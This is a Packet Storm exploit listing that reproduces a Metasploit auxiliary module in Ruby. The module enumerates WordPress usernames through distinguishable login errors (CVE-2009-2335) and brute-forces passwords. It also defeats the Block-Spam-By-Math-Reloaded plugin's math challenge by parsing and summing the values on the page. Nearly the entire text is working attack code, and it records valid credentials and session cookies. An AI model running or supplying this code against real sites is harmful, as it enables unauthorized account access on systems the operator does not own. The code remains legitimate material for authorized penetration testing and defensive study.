Lucene search

K
packetstormTiago FerreiraPACKETSTORM:104268
HistoryAug 21, 2011 - 12:00 a.m.

WordPress Block-Spam-By-Math-Reloaded Plugin Bypass

2011-08-2100:00:00
Tiago Ferreira
packetstormsecurity.com
22

0.97 High

EPSS

Percentile

99.7%

`##  
# $Id: wordpress_login_enum.rb 12196 2011-04-01 00:51:33Z egypt $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
  
def initialize  
super(  
'Name' => 'Wordpress Brute Force and User Enumeration Utility',  
'Version' => '$Revision: 12196 $',  
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',  
'Author' => [  
'Alligator Security Team',  
'Tiago Ferreira <tiago.ccna[at]gmail.com>',  
'Heyder Andrade <heyder[at]alligatorteam.org>' # Block-Spam-By-Math-Reloaded Bypass  
],  
'References' =>  
[  
['BID', '35581'],  
['CVE', '2009-2335'],  
['OSVDB', '55713'],  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[ Opt::RPORT(80),  
OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),  
OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]),  
OptBool.new('BSBM_BYPASS', [ true, "Block-Spam-By-Math-Reloaded Bypass ", false]),  
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),  
], self.class)  
  
end  
  
def target_url  
"http://#{vhost}:#{rport}#{datastore['URI']}"  
end  
  
  
def run_host(ip)  
if datastore['VALIDATE_USERS']  
@users_found = {}  
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")  
each_user_pass { |user, pass|  
do_enum(user)  
}  
  
unless (@users_found.empty?)  
print_good("#{target_url} - WordPress Enumeration - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")  
end  
end  
  
if datastore['BRUTEFORCE']  
vprint_status("#{target_url} - WordPress Brute Force - Running Bruteforce")  
if datastore['VALIDATE_USERS']  
if @users_found && @users_found.keys.size > 0  
vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")  
else  
vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.")  
return  
end  
end  
each_user_pass { |user, pass|  
if datastore['VALIDATE_USERS']  
next unless @users_found[user]  
end  
do_login(user, pass)  
}  
end  
end  
  
def do_enum(user=nil)  
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=x&wp-submit=Login"  
print_status("#{target_url} - WordPress Enumeration - Checking Username:'#{user}'")  
  
begin  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => datastore['URI'],  
'data' => post_data,  
}, 20)  
  
  
valid_user = false  
  
if (res and res.code == 200 )  
if (res.body.to_s =~ /Incorrect password/ )  
valid_user = true  
  
elsif (res.body.to_s =~ /document\.getElementById\(\'user_pass\'\)/ )  
valid_user = true  
  
else  
valid_user = false  
  
end  
  
else  
print_error("#{target_url} - WordPress Enumeration - Enumeration is not possible. #{res.code} response")  
return :abort  
  
end  
  
if valid_user  
print_good("#{target_url} - WordPress Enumeration- Username: '#{user}' - is VALID")  
report_auth_info(  
:host => rhost,  
:sname => 'http',  
:user => user,  
:port => rport,  
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"  
)  
  
@users_found[user] = :reported  
return :next_user  
else  
vprint_error("#{target_url} - WordPress Enumeration - Invalid Username: '#{user}'")  
return :skip_user  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
  
def smartaleck(values)  
answer = 0  
values.each { |a| answer+=a.to_i }  
return answer  
end  
  
def getvalues(response)  
i = 0  
values = []  
while (i <= 1) do  
response.body.match(%r{.?(mathvalue#{i}).*(value=).([\d]+)})  
values[i] = $3  
i += 1  
end  
return values  
end  
  
def baserequest()  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => datastore['URI'],  
}, 20)  
return res  
end  
end  
  
  
def do_login(user=nil,pass=nil)  
if (datastore['BSBM_BYPASS'])  
v = getvalues(baserequest())  
sec_answer = smartaleck(v)  
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&mathvalue2=#{sec_answer}&mathvalue0=#{v[0]}&mathvalue1=#{v[1]}&&wp-submit=Login"  
else  
post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&wp-submit=Login"  
vprint_status("#{target_url} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")  
end  
  
begin  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => datastore['URI'],  
'data' => post_data,  
}, 20)  
  
if (res and res.code == 302 )  
if res.headers['Set-Cookie'].match(/wordpress_logged_in_(.*);/i)  
print_good("#{target_url} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => 'http',  
:user => user,  
:pass => pass,  
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}",  
:active => true  
)  
  
return :next_user  
end  
  
print_error("#{target_url} - WordPress Brute Force - Unrecognized 302 response")  
return :abort  
  
elsif res.body.to_s =~ /login_error/  
vprint_error("#{target_url} - WordPress Brute Force - Failed to login as '#{user}'")  
return  
else  
print_error("#{target_url} - WordPress Brute Force - Unrecognized #{res.code} response") if res  
return :abort  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`